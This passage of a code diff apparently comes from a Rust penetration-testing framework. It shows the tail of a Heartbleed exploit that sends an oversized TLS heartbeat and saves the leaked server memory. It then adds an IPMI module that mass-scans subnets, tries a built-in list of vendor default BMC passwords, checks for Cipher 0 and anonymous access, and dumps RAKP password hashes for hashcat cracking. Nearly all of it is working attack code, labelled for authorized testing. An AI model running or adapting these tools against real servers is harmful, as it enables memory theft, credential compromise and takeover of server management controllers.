println!("[-] Read timed out (heartbeat response)");
return Ok(());
}
};
println!("[+] Received {} bytes in heartbeat response!", n);
let filename = format!("leak_dump_{}.bin", stripped.replace(':', "_"));
let path = Path::new(&filename);
let mut file = File::create(path)
.with_context(|| format!("Failed to create dump file '{}'", filename))?;
file.write_all(&leak[..n])
.with_context(|| format!("Failed to write leak data to '{}'", filename))?;
println!("[+] Leak dump saved to: {}", filename);
println!("{}", printable_dump(&leak[..n]));
Ok(())
}
/// Builds a TLS ClientHello message
fn build_client_hello() -> Vec<u8> {
let version: u16 = 0x0302; // TLS 1.1
let time_now = SystemTime::now().duration_since(UNIX_EPOCH).unwrap().as_secs() as u32;
let mut random = vec![];
random.extend_from_slice(&time_now.to_be_bytes());
random.extend_from_slice(&vec![0x42; 28]);
let cipher_suites: Vec<u16> = vec![
0xC014, 0x0035, 0x002F, 0x000A, 0x0005, 0x0004, 0x0003, 0x0002, 0x0001,
];
let mut hello = vec![];
hello.extend_from_slice(&version.to_be_bytes());
hello.extend_from_slice(&random);
hello.push(0); // Session ID length
hello.extend_from_slice(&(cipher_suites.len() as u16 * 2).to_be_bytes());
for cs in &cipher_suites {
hello.extend_from_slice(&cs.to_be_bytes());
}
hello.push(1); // Compression methods length
hello.push(0); // No compression
let mut extensions = vec![];
extensions.extend_from_slice(&0x000f_u16.to_be_bytes());
extensions.extend_from_slice(&0x0001_u16.to_be_bytes());
extensions.push(0x01); // Extension data
hello.extend_from_slice(&(extensions.len() as u16).to_be_bytes());
hello.extend_from_slice(&extensions);
let mut handshake = vec![0x01];
let len = (hello.len() as u32).to_be_bytes();
handshake.extend_from_slice(&len[1..]);
handshake.extend_from_slice(&hello);
build_tls_record(0x16, version, &handshake)
}
/// Builds a malicious Heartbeat request
fn build_heartbeat_request(length: u16) -> Vec<u8> {
let mut payload = vec![0x01, (length >> 8) as u8, length as u8];
payload.extend_from_slice(&[0x42, 0x42, 0x42, 0x42, 0x42]);
build_tls_record(0x18, 0x0302, &payload)
}
/// Wraps payload in a TLS record
fn build_tls_record(record_type: u8, version: u16, payload: &[u8]) -> Vec<u8> {
let mut record = vec![record_type];
record.extend_from_slice(&version.to_be_bytes());
record.extend_from_slice(&(payload.len() as u16).to_be_bytes());
record.extend_from_slice(payload);
record
}
/// Converts binary leak to printable ASCII
fn printable_dump(data: &[u8]) -> String {
data.iter()
.map(|b| match *b {
32..=126 => *b as char,
b'\n' | b'\r' | b'\t' => ' ',
_ => '.',
})
.collect()
}
-1
View File
@@ -1 +0,0 @@
pub mod heartbleed;
@@ -0,0 +1,798 @@
//! IPMI Enumeration and Exploitation Module - FIXED VERSION
//!
//! Comprehensive IPMI scanner supporting:
//! - Mass scanning (Single, Subnet, File list)
//! - Version detection (IPMI 1.5/2.0)
//! - Cipher 0 authentication bypass detection
//! - Anonymous authentication testing
//! - Default credential brute force
//! - RAKP hash dumping for offline cracking
//! - Supermicro-specific vulnerability checks
//!
//! Default Port: 623/UDP
//! FOR AUTHORIZED TESTING ONLY.
use anyhow::{anyhow, Context, Result};
use colored::*;
use std::net::{IpAddr, SocketAddr};
use std::time::Duration;
use std::sync::Arc;
use std::sync::atomic::{AtomicUsize, Ordering};
use tokio::sync::Semaphore;
use tokio::net::UdpSocket;
use futures::stream::{FuturesUnordered, StreamExt};
use tokio::fs::OpenOptions;
use tokio::io::AsyncWriteExt;
use tokio::sync::Mutex;
use crate::utils::{
normalize_target, prompt_default, prompt_port, prompt_yes_no,
prompt_required, prompt_existing_file, prompt_int_range,
};
// IPMI Constants
const IPMI_PORT: u16 = 623;
const RECV_TIMEOUT_MS: u64 = 3000;
const MAX_RETRIES: usize = 2;
// RMCP Header
const RMCP_VERSION: u8 = 0x06;
const RMCP_RESERVED: u8 = 0x00;
const RMCP_SEQ: u8 = 0xFF;
const RMCP_CLASS_IPMI: u8 = 0x07;
// IPMI Commands
const IPMI_CMD_GET_CHANNEL_AUTH_CAP: u8 = 0x38;
const IPMI_CMD_GET_SESSION_CHALLENGE: u8 = 0x39;
// Authentication Types
const AUTH_TYPE_NONE: u8 = 0x00;
const AUTH_TYPE_MD5: u8 = 0x02;
const AUTH_TYPE_RMCPP: u8 = 0x06;
// RAKP Payload Types
const PAYLOAD_RMCPP_OPEN_SESSION_REQUEST: u8 = 0x10;
const PAYLOAD_RAKP_MESSAGE_1: u8 = 0x12;
const PAYLOAD_RAKP_MESSAGE_2: u8 = 0x13;
// Default credentials
const DEFAULT_CREDS: &[(&str, &str, &str)] = &[
("Dell iDRAC", "root", "calvin"),
("IBM IMM", "USERID", "PASSW0RD"),
("Fujitsu iRMC", "admin", "admin"),
("Supermicro IPMI", "ADMIN", "ADMIN"),
("Oracle/Sun ILOM", "root", "changeme"),
("ASUS iKVM BMC", "admin", "admin"),
("Generic", "admin", "admin"),
("Generic", "root", "root"),
("Generic", "Administrator", "password"),
];
#[derive(Debug, Clone)]
struct IpmiInfo {
ip: IpAddr,
version: String,
auth_types: Vec<String>,
cipher_zero_vulnerable: bool,
anonymous_access: bool,
valid_creds: Option<(String, String, String)>,
rakp_hash: Option<String>,
supermicro_upnp_open: bool,
supermicro_49152_open: bool,
}
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ IPMI Enumeration & Exploitation Module (FIXED) ║".cyan());
println!("{}", "║ Mass Scan, Cipher 0, Default Creds, Version Detection ║".cyan());
println!("{}", "║ FOR AUTHORIZED TESTING ONLY ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("Select operation mode:");
println!(" 1. Single Target");
println!(" 2. Subnet Scan (CIDR)");
println!(" 3. Target List (File)");
println!();
let mode = prompt_required("Select mode [1-3]: ")?;
let targets = match mode.as_str() {
"1" => {
let t = if target.trim().is_empty() {
prompt_required("Target IP: ")?
} else {
target.to_string()
};
vec![normalize_target(&t)?]
},
"2" => {
let cidr = if target.trim().is_empty() || !target.contains('/') {
prompt_required("Target CIDR (e.g., 192.168.1.0/24): ")?
} else {
target.to_string()
};
cidr.parse::<ipnetwork::IpNetwork>()
.context("Invalid CIDR format")?
.iter()
.map(|ip| ip.to_string())
.collect()
},
"3" => {
let path = prompt_existing_file("Path to target list file: ")?;
let content = tokio::fs::read_to_string(path)
.await
.context("Failed to read target file")?;
content.lines()
.map(|s| s.trim().to_string())
.filter(|s| !s.is_empty())
.collect()
},
_ => return Err(anyhow!("Invalid selection")),
};
if targets.is_empty() {
return Err(anyhow!("No valid targets found"));
}
// Check for extremely large scans
if targets.len() > 100000 {
println!("{}", format!("[!] Warning: Large scan detected ({} targets).", targets.len()).yellow().bold());
if !prompt_yes_no("This may consume significant memory and time. Continue?", false)? {
return Ok(());
}
}
println!("[*] Loaded {} targets", targets.len());
let port = prompt_port("IPMI Port", IPMI_PORT)?;
let test_cipher_zero = prompt_yes_no("Test Cipher 0 vulnerability?", true)?;
let test_anonymous = prompt_yes_no("Test anonymous authentication?", true)?;
let test_default_creds = prompt_yes_no("Test default credentials?", true)?;
let test_rakp_hash = prompt_yes_no("Attempt RAKP hash dumping (IPMI 2.0)?", true)?;
let concurrency = if targets.len() > 1 {
prompt_int_range("Max concurrent scans", 50, 1, 10000)? as usize
} else {
1
};
let output_file = prompt_default("Output result file", "ipmi_scan_results.csv")?;
println!("\n{}", "=== Starting IPMI Scan ===".bold().cyan());
let semaphore = Arc::new(Semaphore::new(concurrency));
let stats_checked = Arc::new(AtomicUsize::new(0));
let stats_found = Arc::new(AtomicUsize::new(0));
let s_checked = stats_checked.clone();
let s_found = stats_found.clone();
let total_targets = targets.len();
// Progress monitoring task
if total_targets > 1 {
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(5)).await;
let checked = s_checked.load(Ordering::Relaxed);
let found = s_found.load(Ordering::Relaxed);
if checked >= total_targets { break; }
println!(
"[*] Progress: {}/{} checked, {} IPMI found",
checked, total_targets, found.to_string().green().bold()
);
}
});
}
let mut tasks = FuturesUnordered::new();
// Initialize output file with proper CSV headers
let output_file_handle = OpenOptions::new()
.create(true)
.write(true)
.truncate(true)
.open(&output_file)
.await
.context("Failed to create output file")?;
let mut file_handle = output_file_handle;
file_handle.write_all(format!("IPMI Scan Results - {}\n", chrono::Local::now()).as_bytes()).await?;
file_handle.write_all(b"IP,Port,Version,AuthTypes,Exploits,Cipher0,Anonymous,Credentials,RAKP_Hash,UPnP_1900,Port_49152\n").await?;
let output_file_arc = Arc::new(Mutex::new(file_handle));
for target_str in targets {
let sem = semaphore.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file_arc.clone();
let target_ip_str = target_str.clone();
tasks.push(tokio::spawn(async move {
let _permit = sem.acquire().await.unwrap();
// Resolve IP
let ip_res = if let Ok(ip) = target_ip_str.parse::<IpAddr>() {
Ok(ip)
} else {
match tokio::net::lookup_host(format!("{}:{}", target_ip_str, port)).await {
Ok(mut iter) => iter.next()
.map(|s| s.ip())
.ok_or_else(|| anyhow!("No IP resolved")),
Err(e) => Err(anyhow!(e)),
}
};
if let Ok(ip) = ip_res {
let addr = SocketAddr::new(ip, port);
// Perform Scan
match scan_host(addr, test_cipher_zero, test_anonymous, test_default_creds, test_rakp_hash).await {
Ok(Some(info)) => {
sf.fetch_add(1, Ordering::Relaxed);
// Display Result
let vuln_str = if info.cipher_zero_vulnerable { " [CIPHER0]".red().bold() } else { "".into() };
let anon_str = if info.anonymous_access { " [ANON]".red().bold() } else { "".into() };
let rakp_str = if info.rakp_hash.is_some() { " [HASH]".magenta().bold() } else { "".into() };
let upnp_str = if info.supermicro_upnp_open { " [UPNP]".yellow().bold() } else { "".into() };
let port_str = if info.supermicro_49152_open { " [49152]".yellow().bold() } else { "".into() };
let cred_str = if let Some((v, u, p)) = &info.valid_creds {
format!(" [CRED: {} {}:{}]", v, u, p).green().bold()
} else {
"".into()
};
println!("[+] {}: {} {}{}{}{}{}{}",
info.ip,
info.version.green(),
vuln_str,
anon_str,
rakp_str,
upnp_str,
port_str,
cred_str
);
// Save to file (thread-safe)
{
let mut file_guard = of.lock().await;
let auth_types_str = info.auth_types.join("; ");
let mut exploits = Vec::new();
if info.cipher_zero_vulnerable { exploits.push("CIPHER0_BYPASS"); }
if info.anonymous_access { exploits.push("ANON_AUTH"); }
if info.rakp_hash.is_some() { exploits.push("RAKP_HASH_DUMP"); }
if info.supermicro_upnp_open { exploits.push("UPNP_1900"); }
if info.supermicro_49152_open { exploits.push("SUPERMICRO_49152"); }
if info.valid_creds.is_some() { exploits.push("DEFAULT_CREDS"); }
let exploit_str = if exploits.is_empty() {
"VERSION_ONLY".to_string()
} else {
exploits.join(", ")
};
let cipher0_str = if info.cipher_zero_vulnerable { "Yes" } else { "No" };
let anon_str = if info.anonymous_access { "Yes" } else { "No" };
let creds_str = if let Some((v, u, p)) = &info.valid_creds {
format!("Yes - {} ({}:{})", v, u, p)
} else {
"No".to_string()
};
let rakp_str = info.rakp_hash.as_ref().unwrap_or(&"No".to_string()).clone();
let upnp_str = if info.supermicro_upnp_open { "Yes" } else { "No" };
let p49152_str = if info.supermicro_49152_open { "Yes" } else { "No" };
let line = format!(
"{},{},{},{},{},{},{},{},{},{},{}",
info.ip,
port,
info.version,
auth_types_str,
exploit_str,
cipher0_str,
anon_str,
creds_str,
rakp_str,
upnp_str,
p49152_str
);
let _ = file_guard.write_all(format!("{}\n", line).as_bytes()).await;
}
},
Ok(None) => {
// No IPMI service detected
},
Err(e) => {
eprintln!("[!] Error scanning {}: {}", ip, e);
}
}
}
sc.fetch_add(1, Ordering::Relaxed);
}));
}
// Wait for all tasks to complete
while tasks.next().await.is_some() {}
let final_checked = stats_checked.load(Ordering::Relaxed);
let final_found = stats_found.load(Ordering::Relaxed);
println!("\n{}", "=== Scan Complete ===".green().bold());
println!("Targets scanned: {}", final_checked);
println!("IPMI services found: {}", final_found.to_string().green().bold());
println!("Results saved to: {}", output_file.cyan());
Ok(())
}
async fn scan_host(
addr: SocketAddr,
check_c0: bool,
check_anon: bool,
check_creds: bool,
check_rakp: bool,
) -> Result<Option<IpmiInfo>> {
// Use tokio async UDP socket
let socket = UdpSocket::bind("0.0.0.0:0")
.await
.context("Failed to bind UDP socket")?;
socket.connect(addr)
.await
.context("Failed to connect to target")?;
// 1. Detect Version
let (version, auth_types) = match detect_ipmi_version(&socket).await {
Ok(res) => res,
Err(_) => return Ok(None), // Not IPMI or unreachable
};
let mut info = IpmiInfo {
ip: addr.ip(),
version,
auth_types,
cipher_zero_vulnerable: false,
anonymous_access: false,
valid_creds: None,
rakp_hash: None,
supermicro_upnp_open: false,
supermicro_49152_open: false,
};
// 2. Check Cipher 0
if check_c0 && info.version.contains("2.0") {
if let Ok(true) = test_cipher_zero_vuln(&socket).await {
info.cipher_zero_vulnerable = true;
}
}
// 3. Check Anonymous Access
if check_anon {
if let Ok(true) = test_credentials(&socket, "", "").await {
info.anonymous_access = true;
}
}
// 4. Test Default Credentials
if check_creds {
for (vendor, user, pass) in DEFAULT_CREDS {
if let Ok(true) = test_credentials(&socket, user, pass).await {
info.valid_creds = Some((vendor.to_string(), user.to_string(), pass.to_string()));
break;
}
}
}
// 5. RAKP Hash Dump (IPMI 2.0 Only)
if check_rakp && info.version.contains("2.0") {
let target_users = ["admin", "root", "Administrator", "ADMIN"];
for user in target_users {
if let Ok(Some(hash)) = get_rakp_hash(&socket, user).await {
info.rakp_hash = Some(hash);
break;
}
}
}
// 6. Supermicro Checks (UPnP 1900 + Port 49152)
if scan_supermicro_upnp(addr.ip(), 1900).await {
info.supermicro_upnp_open = true;
}
if scan_supermicro_upnp(addr.ip(), 49152).await {
info.supermicro_49152_open = true;
}
Ok(Some(info))
}
// --- Helper Functions ---
fn build_rmcp_header() -> Vec<u8> {
vec![
RMCP_VERSION, // Version
RMCP_RESERVED, // Reserved
RMCP_SEQ, // Sequence (0xFF for no ack)
RMCP_CLASS_IPMI, // Class (IPMI)
]
}
fn build_get_auth_cap_request(channel: u8, privilege: u8) -> Vec<u8> {
let mut packet = build_rmcp_header();
packet.push(AUTH_TYPE_NONE);
packet.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]); // Session Seq
packet.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]); // Session ID
// Message data starts here (after IPMI session header)
let msg_start = packet.len();
packet.push(0x09); // Message length (will be adjusted)
packet.push(0x20); // Target (BMC)
packet.push((0x06 << 2) | 0x00); // NetFn (0x06 = App) / LUN
let header_checksum = calculate_checksum(&packet[msg_start + 1..]);
packet.push(header_checksum);
packet.push(0x81); // Source (Requester)
packet.push((0x00 << 2) | 0x00); // Seq/LUN
packet.push(IPMI_CMD_GET_CHANNEL_AUTH_CAP);
packet.push(0x80 | channel); // Extended capabilities
packet.push(privilege);
let data_checksum = calculate_checksum(&packet[msg_start + 4..]);
packet.push(data_checksum);
// Update message length
packet[msg_start] = (packet.len() - msg_start - 1) as u8;
packet
}
fn build_session_challenge_request(auth_type: u8, username: &str) -> Vec<u8> {
let mut packet = build_rmcp_header();
packet.push(AUTH_TYPE_NONE);
packet.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]);
packet.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]);
let msg_start = packet.len();
packet.push(0x18); // Message length placeholder
packet.push(0x20);
packet.push((0x06 << 2) | 0x00); // NetFn / LUN
let header_checksum = calculate_checksum(&packet[msg_start + 1..msg_start + 3]);
packet.push(header_checksum);
packet.push(0x81);
packet.push((0x00 << 2) | 0x00);
packet.push(IPMI_CMD_GET_SESSION_CHALLENGE);
packet.push(auth_type);
let mut user_bytes = [0u8; 16];
let user_len = username.len().min(16);
user_bytes[..user_len].copy_from_slice(&username.as_bytes()[..user_len]);
packet.extend_from_slice(&user_bytes);
let data_checksum = calculate_checksum(&packet[msg_start + 4..]);
packet.push(data_checksum);
// Update message length
packet[msg_start] = (packet.len() - msg_start - 1) as u8;
packet
}
fn calculate_checksum(data: &[u8]) -> u8 {
let sum: u8 = data.iter().fold(0u8, |acc, &x| acc.wrapping_add(x));
(!sum).wrapping_add(1)
}
async fn detect_ipmi_version(socket: &UdpSocket) -> Result<(String, Vec<String>)> {
let request = build_get_auth_cap_request(0x0E, 0x04);
for attempt in 0..MAX_RETRIES {
socket.send(&request)
.await
.context("Failed to send Get Channel Auth Capabilities request")?;
let mut buffer = [0u8; 256];
match tokio::time::timeout(
Duration::from_millis(RECV_TIMEOUT_MS),
socket.recv(&mut buffer)
).await {
Ok(Ok(n)) if n > 20 => {
// Validate RMCP header
if buffer[0] != RMCP_VERSION || buffer[3] != RMCP_CLASS_IPMI {
continue;
}
// Check completion code (byte 20 in standard response)
if n < 24 { continue; }
let completion_code = buffer[20];
if completion_code != 0x00 {
return Err(anyhow!("IPMI returned error code: 0x{:02x}", completion_code));
}
let auth_type_support = buffer[22];
let extended_cap = if n > 24 { buffer[24] } else { 0 };
let mut auth_types = Vec::new();
if auth_type_support & 0x01 != 0 { auth_types.push("None".to_string()); }
if auth_type_support & 0x02 != 0 { auth_types.push("MD2".to_string()); }
if auth_type_support & 0x04 != 0 { auth_types.push("MD5".to_string()); }
if auth_type_support & 0x10 != 0 { auth_types.push("Password".to_string()); }
if auth_type_support & 0x20 != 0 { auth_types.push("OEM".to_string()); }
let version = if extended_cap & 0x02 != 0 {
"IPMI 2.0".to_string()
} else {
"IPMI 1.5".to_string()
};
return Ok((version, auth_types));
}
Ok(Ok(_)) => continue,
Ok(Err(e)) => {
if attempt == MAX_RETRIES - 1 {
return Err(anyhow!("Recv error: {}", e));
}
continue;
}
Err(_) => {
if attempt == MAX_RETRIES - 1 {
return Err(anyhow!("Timeout waiting for response"));
}
continue;
}
}
}
Err(anyhow!("No valid response after {} retries", MAX_RETRIES))
}
async fn test_cipher_zero_vuln(socket: &UdpSocket) -> Result<bool> {
// Cipher 0 means authentication can be bypassed with "None" auth type
// We already check this in detect_ipmi_version by looking at auth_type_support
// This is a simplified check - for IPMI 2.0, cipher suite 0 specifically means
// no authentication, no integrity, no confidentiality
let request = build_get_auth_cap_request(0x0E, 0x04);
socket.send(&request).await?;
let mut buffer = [0u8; 256];
match tokio::time::timeout(
Duration::from_millis(RECV_TIMEOUT_MS),
socket.recv(&mut buffer)
).await {
Ok(Ok(n)) if n > 22 => {
let auth_type_support = buffer[22];
// If "None" authentication is supported, it's vulnerable
Ok(auth_type_support & 0x01 != 0)
}
_ => Ok(false),
}
}
async fn test_credentials(socket: &UdpSocket, username: &str, _password: &str) -> Result<bool> {
let request = build_session_challenge_request(AUTH_TYPE_MD5, username);
for _ in 0..MAX_RETRIES {
socket.send(&request).await?;
let mut buffer = [0u8; 256];
match tokio::time::timeout(
Duration::from_millis(RECV_TIMEOUT_MS),
socket.recv(&mut buffer)
).await {
Ok(Ok(n)) if n > 20 => {
let completion_code = buffer[20];
// 0x00 = success (user exists and session challenge returned)
// 0xCC = invalid user
if completion_code == 0x00 {
return Ok(true);
}
return Ok(false);
}
_ => continue,
}
}
Ok(false)
}
/// Retrieve RAKP Hash (HMAC-SHA1) for offline cracking
/// Returns formatted hash compatible with hashcat/john
async fn get_rakp_hash(socket: &UdpSocket, username: &str) -> Result<Option<String>> {
// Step 1: Send RMCP+ Open Session Request
let open_req = build_rmcpp_open_session_request();
socket.send(&open_req).await.context("Failed to send Open Session Request")?;
let mut buffer = [0u8; 1024];
let n = match tokio::time::timeout(
Duration::from_millis(RECV_TIMEOUT_MS),
socket.recv(&mut buffer)
).await {
Ok(Ok(n)) if n > 36 => n,
_ => return Ok(None),
};
// Validate RMCP header
if buffer[0] != RMCP_VERSION { return Ok(None); }
// Parse Open Session Response
// Structure: RMCP(4) + Auth(1) + PayloadType(1) + SessionID(4) + Seq(4) + PayloadLen(2) + Payload
if buffer[5] != (PAYLOAD_RMCPP_OPEN_SESSION_REQUEST + 1) { // Response is request + 1
return Ok(None);
}
// Check status code in payload (offset 16)
if n < 28 || buffer[16] != 0x00 {
return Ok(None);
}
// Extract Managed System Session ID (offset 20-23, little-endian)
let managed_session_id = u32::from_le_bytes([
buffer[20], buffer[21], buffer[22], buffer[23]
]);
// Step 2: Send RAKP Message 1
let console_session_id = 0xAABBCCDD_u32; // Our chosen session ID
let console_random = [0x41u8; 16]; // Random nonce
let rakp1 = build_rakp_message_1(username, managed_session_id, console_session_id, &console_random);
socket.send(&rakp1).await.context("Failed to send RAKP Message 1")?;
// Step 3: Receive RAKP Message 2
let n = match tokio::time::timeout(
Duration::from_millis(RECV_TIMEOUT_MS),
socket.recv(&mut buffer)
).await {
Ok(Ok(n)) if n > 60 => n,
_ => return Ok(None),
};
// Validate RAKP Message 2
if buffer[0] != RMCP_VERSION { return Ok(None); }
if buffer[5] != PAYLOAD_RAKP_MESSAGE_2 { return Ok(None); }
// RAKP2 Payload starts at offset 16
// Structure: Tag(1) + Status(1) + Reserved(2) + Console Session ID(4) +
// Managed Random(16) + Managed GUID(16) + HMAC(20 for SHA1)
let rakp2_offset = 16;
if n < rakp2_offset + 60 { return Ok(None); }
let status = buffer[rakp2_offset + 1];
if status != 0x00 {
return Ok(None); // Authentication failed or user doesn't exist
}
// Extract salt (Managed System Random Number) - 16 bytes at offset 24
let salt_offset = rakp2_offset + 8;
let salt = &buffer[salt_offset..salt_offset + 16];
// Extract HMAC - typically last 20 bytes (SHA1) at offset 40
let hmac_offset = rakp2_offset + 40;
let hmac = &buffer[hmac_offset..hmac_offset + 20];
// Format for hashcat (mode 7300) or john
// Format: $rakp$<salt_hex>$<hmac_hex>$<username>$<session_id_hex>
let salt_hex = hex::encode(salt);
let hmac_hex = hex::encode(hmac);
let session_hex = format!("{:08x}", console_session_id);
let hash = format!("$rakp${}${}${}${}", salt_hex, hmac_hex, username, session_hex);
Ok(Some(hash))
}
fn build_rmcpp_open_session_request() -> Vec<u8> {
let mut p = build_rmcp_header();
p.push(AUTH_TYPE_RMCPP); // RMCP+ Auth Type
p.push(PAYLOAD_RMCPP_OPEN_SESSION_REQUEST); // Payload Type
p.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]); // Session ID (0 for setup)
p.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]); // Sequence Number
// Payload Length (32 bytes) - little endian
p.extend_from_slice(&[0x20, 0x00]);
// Open Session Request Payload
p.push(0x00); // Message Tag
p.push(0x00); // Requested Max Privilege Level (0 = highest available)
p.extend_from_slice(&[0x00, 0x00]); // Reserved
// Console Session ID (our chosen ID)
p.extend_from_slice(&[0xAA, 0xBB, 0xCC, 0xDD]);
// Authentication Algorithm: RAKP-HMAC-SHA1
p.extend_from_slice(&[
0x00, 0x00, 0x00, 0x08, // Auth payload type + length
0x01, 0x00, 0x00, 0x00 // Algorithm: RAKP-HMAC-SHA1
]);
// Integrity Algorithm: HMAC-SHA1-96
p.extend_from_slice(&[
0x01, 0x00, 0x00, 0x08, // Integrity payload type + length
0x01, 0x00, 0x00, 0x00 // Algorithm: HMAC-SHA1-96
]);
// Confidentiality Algorithm: None
p.extend_from_slice(&[
0x02, 0x00, 0x00, 0x08, // Confidentiality payload type + length
0x00, 0x00, 0x00, 0x00 // Algorithm: None
]);
p
}
fn build_rakp_message_1(
username: &str,
managed_session_id: u32,
_console_session_id: u32,
console_random: &[u8; 16]
) -> Vec<u8> {
let mut p = build_rmcp_header();
p.push(AUTH_TYPE_RMCPP);
p.push(PAYLOAD_RAKP_MESSAGE_1);
p.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]); // Session ID (0)
p.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]); // Sequence
// Calculate Payload Length
let payload_len = 1 + 3 + 4 + 16 + 1 + 1 + username.len();
p.extend_from_slice(&(payload_len as u16).to_le_bytes());
// RAKP Message 1 Payload
p.push(0x00); // Message Tag
p.extend_from_slice(&[0x00, 0x00, 0x00]); // Reserved
// Managed System Session ID (from Open Session Response)
p.extend_from_slice(&managed_session_id.to_le_bytes());
// Console Random Number (16 bytes)
p.extend_from_slice(console_random);
// Requested Max Privilege + Username present flag
p.push(0x14); // 0x10 (username present) | 0x04 (Admin privilege)
// Username Length and Username
p.push(username.len() as u8);
p.extend_from_slice(username.as_bytes());
p
}
async fn scan_supermicro_upnp(ip: IpAddr, port: u16) -> bool {
let addr = SocketAddr::new(ip, port);
if let Ok(socket) = UdpSocket::bind("0.0.0.0:0").await {
if socket.connect(addr).await.is_err() {
return false;
}
// M-SEARCH SSDP packet
let msg = "M-SEARCH * HTTP/1.1\r\n\
HOST: 239.255.255.250:1900\r\n\
MAN: \"ssdp:discover\"\r\n\
MX: 1\r\n\
ST: ssdp:all\r\n\r\n";
if socket.send(msg.as_bytes()).await.is_ok() {
let mut buf = [0u8; 1024];
match tokio::time::timeout(
Duration::from_millis(500),
socket.recv(&mut buf)
).await {
Ok(Ok(_)) => return true,
_ => return false,
}
}
}
false
}
+1
View File
@@ -0,0 +1 @@
pub mod ipmi_enum_exploit;

Some files were not shown because too many files have changed in this diff Show More